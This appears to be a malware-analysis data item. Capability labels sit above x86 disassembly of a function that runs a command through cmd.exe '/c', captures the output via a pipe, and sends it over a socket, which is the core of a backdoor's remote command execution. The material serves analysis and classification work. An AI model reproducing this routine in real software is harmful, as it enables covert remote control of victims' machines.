Function at 0x4087f2
Capabilities:
Create pipe
Create process on windows
Create process suspended
Query environment variable
Read and send data from client to server
Read file on windows
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x1a4
mov dword [esp + 4], 0x105
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0xc], eax
mov dword [esp + 8], 0x104
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], str.ComSpec
call sub.KERNEL32.dll_GetEnvironmentVariableA
sub esp, 0xc
mov dword [esp], str.__c
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov ebx, eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [ebp - 0xc]
add eax, edx
mov dword [esp + 8], ebx
mov dword [esp + 4], str.__c
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov ebx, eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [ebp - 0xc]
add edx, eax
mov dword [esp + 8], ebx
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], edx
call sub.msvcrt.dll_memcpy
mov dword [esp + 8], 4
mov dword [esp + 4], 0
lea eax, [ebp - 0x18]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [ebp - 0x18], 0xc
mov dword [ebp - 0x10], 1
mov dword [ebp - 0x14], 0
mov dword [esp + 0xc], 0
lea eax, [ebp - 0x18]
mov dword [esp + 8], eax
lea eax, [ebp - 0x34]
mov dword [esp + 4], eax
lea eax, [ebp - 0x30]
mov dword [esp], eax
call sub.KERNEL32.dll_CreatePipe
sub esp, 0x10
lea eax, [ebp - 0x178]
mov dword [esp], eax
call sub.KERNEL32.dll_GetStartupInfoA
sub esp, 4
mov dword [ebp - 0x14c], 0x101
mov word [ebp - 0x148], 0
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x13c], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x140], eax
lea eax, [ebp - 0x28]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x178]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], 0
call sub.KERNEL32.dll_CreateProcessA
sub esp, 0x28
mov eax, dword [ebp - 0x28]
mov dword [esp + 4], 0x3e8
mov dword [esp], eax
call sub.KERNEL32.dll_WaitForSingleObject
sub esp, 8
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov dword [esp + 4], 0x1389
mov dword [esp], 0
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [0x42d1f0], eax
mov edx, dword [0x42d1f0]
mov eax, dword [ebp - 0x30]
mov dword [esp + 0x10], 0
lea ecx, [ebp - 0x2c]
mov dword [esp + 0xc], ecx
mov dword [esp + 8], 0x1388
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.KERNEL32.dll_ReadFile
sub esp, 0x14
mov eax, dword [0x42d1f0]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov dword [esp + 8], eax
mov dword [esp + 4], str.archivo_dlog_cmd.txt
lea eax, [ebp - 0x134]
mov dword [esp], eax
call sub.USER32.dll_wsprintfA
lea eax, [ebp - 0x134]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
lea edx, [ebp - 0x134]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
mov dword [esp], 0x19
call sub.KERNEL32.dll_Sleep
sub esp, 4
mov eax, dword [0x42d1f0]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov ecx, eax
mov edx, dword [0x42d1f0]
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
mov eax, dword [0x42d1f0]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov eax, 0
jmp 0x408af2
mov ebx, dword [ebp - 4]
leave
ret